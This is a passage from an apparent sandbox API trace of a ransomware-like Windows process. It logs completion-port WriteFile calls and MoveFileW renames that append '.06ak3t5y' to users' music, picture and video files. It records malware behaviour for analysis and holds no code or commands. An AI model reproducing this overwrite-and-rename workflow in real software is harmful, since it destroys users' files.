lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.357] WriteFile (in: hFile=0x414, lpBuffer=0x47972d0, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4797180 | out: lpBuffer=0x47972d0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4797180) returned 0x0 [0113.358] RtlGetLastWin32Error () returned 0x3e5 [0113.358] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.359] WriteFile (in: hFile=0x3f4, lpBuffer=0x397e2c8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397e2a0 | out: lpBuffer=0x397e2c8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397e2a0) returned 0x0 [0113.360] RtlGetLastWin32Error () returned 0x3e5 [0113.360] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.361] WriteFile (in: hFile=0x3f0, lpBuffer=0x4754890, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4754868 | out: lpBuffer=0x4754890, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4754868) returned 0x0 [0113.362] RtlGetLastWin32Error () returned 0x3e5 [0113.362] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.363] CloseHandle (hObject=0x3c0) returned 1 [0113.364] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd0) returned 0x3691490 [0113.364] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\tCh9inH.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\tch9inh.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\tCh9inH.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\tch9inh.mp3.06ak3t5y")) returned 1 [0113.366] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3691490) returned 1 [0113.368] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2069c00) returned 1 [0113.368] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x46e7548) returned 1 [0113.370] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.370] CloseHandle (hObject=0x3c4) returned 1 [0113.372] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe8) returned 0x20ab750 [0113.373] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\tzURC8_Z HJox8cSSbC.wav" (normalized: "c:\\users\\keecfmwgj\\music\\tzurc8_z hjox8cssbc.wav"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\tzURC8_Z HJox8cSSbC.wav.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\tzurc8_z hjox8cssbc.wav.06ak3t5y")) returned 1 [0113.374] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0113.374] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30eead0) returned 1 [0113.375] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x46e9270) returned 1 [0113.375] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.376] CloseHandle (hObject=0x3c8) returned 1 [0113.379] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xce) returned 0x3691490 [0113.379] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\XUfUzf.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\xufuzf.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\XUfUzf.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\xufuzf.mp3.06ak3t5y")) returned 1 [0113.380] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3691490) returned 1 [0113.381] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x208eb80) returned 1 [0113.381] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38f8b60) returned 1 [0113.383] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.383] CloseHandle (hObject=0x3cc) returned 1 [0113.386] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xcc) returned 0x3691490 [0113.386] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\zYUG2.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\zyug2.m4a"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\zYUG2.m4a.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\zyug2.m4a.06ak3t5y")) returned 1 [0113.387] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3691490) returned 1 [0113.388] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x208ebd8) returned 1 [0113.388] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x46ed900) returned 1 [0113.389] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.389] CloseHandle (hObject=0x3d0) returned 1 [0113.391] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe2) returned 0x20ab750 [0113.391] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\4ldTijNb5enuQ.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\4ldtijnb5enuq.bmp"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\4ldTijNb5enuQ.bmp.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\4ldtijnb5enuq.bmp.06ak3t5y")) returned 1 [0113.392] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0113.393] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068970) returned 1 [0113.393] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4705d98) returned 1 [0113.393] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.394] CloseHandle (hObject=0x3d4) returned 1 [0113.395] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd4) returned 0x30a82f0 [0113.396] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\h1WR8r.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\h1wr8r.bmp"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\h1WR8r.bmp.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\h1wr8r.bmp.06ak3t5y")) returned 1 [0113.397] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a82f0) returned 1 [0113.397] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2069c60) returned 1 [0113.398] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4708030) returned 1 [0113.398] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.399] CloseHandle (hObject=0x3d8) returned 1 [0113.402] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xea) returned 0x207d648 [0113.402] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\hreakSGbo7iehUMhp.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hreaksgbo7iehumhp.jpg"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\hreakSGbo7iehUMhp.jpg.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\hreaksgbo7iehumhp.jpg.06ak3t5y")) returned 1 [0113.403] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0113.404] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30eeb48) returned 1 [0113.404] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x47093e0) returned 1 [0113.407] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.407] CloseHandle (hObject=0x3dc) returned 1 [0113.409] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xda) returned 0x2070c20 [0113.409] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\7oacghL0FgM.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\7oacghl0fgm.mp4"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\7oacghL0FgM.mp4.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\7oacghl0fgm.mp4.06ak3t5y")) returned 1 [0113.410] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0113.411] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086710) returned 1 [0113.411] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x47202e8) returned 1 [0113.411] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.412] CloseHandle (hObject=0x3e0) returned 1 [0113.413] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xec) returned 0x207d648 [0113.414] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\DdzxhrbP8S7OSzK7gvx-.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\ddzxhrbp8s7oszk7gvx-.avi"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\DdzxhrbP8S7OSzK7gvx-.avi.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\ddzxhrbp8s7oszk7gvx-.avi.06ak3t5y")) returned 1 [0113.415] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0113.415] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30eebc0) returned 1 [0113.416] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4728050) returned 1 [0113.416] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.417] CloseHandle (hObject=0x3e4) returned 1 [0113.419] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe8) returned 0x20ab750 [0113.419] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\OGP0BLXkOZqfcLE5 r.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\ogp0blxkozqfcle5 r.avi"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\OGP0BLXkOZqfcLE5 r.avi.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\ogp0blxkozqfcle5 r.avi.06ak3t5y")) returned 1 [0113.420] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0113.421] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30eec38) returned 1 [0113.421] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x472cde0) returned 1 [0113.422] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.422] CloseHandle (hObject=0x3e8) returned 1 [0113.424] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe8) returned 0x20ab750 [0113.424] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\PNp9VEShM5vJa6UfKU.mkv" (normalized: "c:\\users\\keecfmwgj\\videos\\pnp9veshm5vja6ufku.mkv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\PNp9VEShM5vJa6UfKU.mkv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\pnp9veshm5vja6ufku.mkv.06ak3t5y")) returned 1 [0113.426] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0113.426] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30eecb0) returned 1 [0113.427] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4735ae0) returned 1 [0113.429] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.430] CloseHandle (hObject=0x3ec) returned 1 [0113.432] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe6) returned 0x20ab750 [0113.432] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.06ak3t5y" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.06ak3t5y")) returned 1 [0113.434] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0113.434] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068a50) returned 1 [0113.435] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397f9d0) returned 1 [0113.435] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.436] WriteFile (in: hFile=0x3f8, lpBuffer=0x459f850, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459f828 | out: lpBuffer=0x459f850, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459f828) returned 0x0 [0113.436] RtlGetLastWin32Error () returned 0x3e5 [0113.437] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.437] WriteFile (in: hFile=0x3fc, lpBuffer=0x459fa30, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459fa08 | out: lpBuffer=0x459fa30, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459fa08) returned 0x0 [0113.438] RtlGetLastWin32Error () returned 0x3e5 [0113.438] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.439] WriteFile (in: hFile=0x404, lpBuffer=0x459fc10, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459fbe8 | out: lpBuffer=0x459fc10, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459fbe8) returned 0x0 [0113.439] RtlGetLastWin32Error () returned 0x3e5 [0113.440] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.440] WriteFile (in: hFile=0x408, lpBuffer=0x459fdf0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459fdc8 | out: lpBuffer=0x459fdf0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459fdc8) returned 0x0 [0113.441] RtlGetLastWin32Error () returned 0x3e5 [0113.441] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.442] WriteFile (in: hFile=0x418, lpBuffer=0x47974b0, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4797360 | out: lpBuffer=0x47974b0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4797360) returned 0x0 [0113.442] RtlGetLastWin32Error () returned 0x3e5 [0113.443] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.443] WriteFile (in: hFile=0x320, lpBuffer=0x397e920, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397e7d0 | out: lpBuffer=0x397e920, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397e7d0) returned 0x0 [0113.444] RtlGetLastWin32Error () returned 0x3e5 [0113.444] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.444] WriteFile (in: hFile=0x338, lpBuffer=0x397eb00, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397e9b0 | out: lpBuffer=0x397eb00, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397e9b0) returned 0x0 [0113.445] RtlGetLastWin32Error () returned 0x3e5 [0113.445] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.446] WriteFile (in: hFile=0x334, lpBuffer=0x397ece0, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397eb90 | out: lpBuffer=0x397ece0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397eb90) returned 0x0 [0113.446] RtlGetLastWin32Error () returned 0x3e5 [0113.447] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.447] WriteFile (in: hFile=0x330, lpBuffer=0x397eec0, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397ed70 | out: lpBuffer=0x397eec0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397ed70) returned 0x0 [0113.448] RtlGetLastWin32Error () returned 0x3e5 [0113.448] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.449] WriteFile (in: hFile=0x33c, lpBuffer=0x397f0a0, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397ef50 | out: lpBuffer=0x397f0a0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397ef50) returned 0x0 [0113.449] RtlGetLastWin32Error () returned 0x3e5 [0113.450] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.450] WriteFile (in: hFile=0x344, lpBuffer=0x397f280, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397f130 | out: lpBuffer=0x397f280, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397f130) returned 0x0 [0113.451] RtlGetLastWin32Error () returned 0x3e5 [0113.451] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.452] WriteFile (in: hFile=0x348, lpBuffer=0x397f460, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397f310 | out: lpBuffer=0x397f460, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397f310) returned 0x0 [0113.453] RtlGetLastWin32Error () returned 0x3e5 [0113.453] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.455] WriteFile (in: hFile=0x32c, lpBuffer=0x3925680, nNumberOfBytesToWrite=0x18f84, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3925530 | out: lpBuffer=0x3925680, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3925530) returned 0x0 [0113.456] RtlGetLastWin32Error () returned 0x3e5 [0113.456] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.457] WriteFile (in: hFile=0x328, lpBuffer=0x393e760, nNumberOfBytesToWrite=0x11878, lpNumberOfBytesWritten=0x0, lpOverlapped=0x393e610 | out: lpBuffer=0x393e760, lpNumberOfBytesWritten=0x0, lpOverlapped=0x393e610) returned 0x0 [0113.458] RtlGetLastWin32Error () returned 0x3e5 [0113.459] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.460] WriteFile (in: hFile=0x318, lpBuffer=0x3950130, nNumberOfBytesToWrite=0x142de, lpNumberOfBytesWritten=0x0, lpOverlapped=0x394ffe0 | out: lpBuffer=0x3950130, lpNumberOfBytesWritten=0x0, lpOverlapped=0x394ffe0) returned 0x0 [0113.461] RtlGetLastWin32Error () returned 0x3e5 [0113.461] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.462] WriteFile (in: hFile=0x314, lpBuffer=0x3964568, nNumberOfBytesToWrite=0x13b2e, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3964418 | out: lpBuffer=0x3964568, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3964418) returned 0x0 [0113.463] RtlGetLastWin32Error () returned 0x3e5 [0113.463] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.464] WriteFile (in: hFile=0x310, lpBuffer=0x4797690, nNumberOfBytesToWrite=0x16c2, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4797540 | out: lpBuffer=0x4797690, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4797540) returned 0x0 [0113.464] RtlGetLastWin32Error () returned 0x3e5 [0113.465] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.466] WriteFile (in: hFile=0x30c, lpBuffer=0x44a0198, nNumberOfBytesToWrite=0x15df4, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44a0048 | out: lpBuffer=0x44a0198, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44a0048) returned 0x0 [0113.467] RtlGetLastWin32Error () returned 0x3e5 [0113.467] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.468] WriteFile (in: hFile=0x308, lpBuffer=0x38806e0, nNumberOfBytesToWrite=0xb3b8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3880590 | out: lpBuffer=0x38806e0, 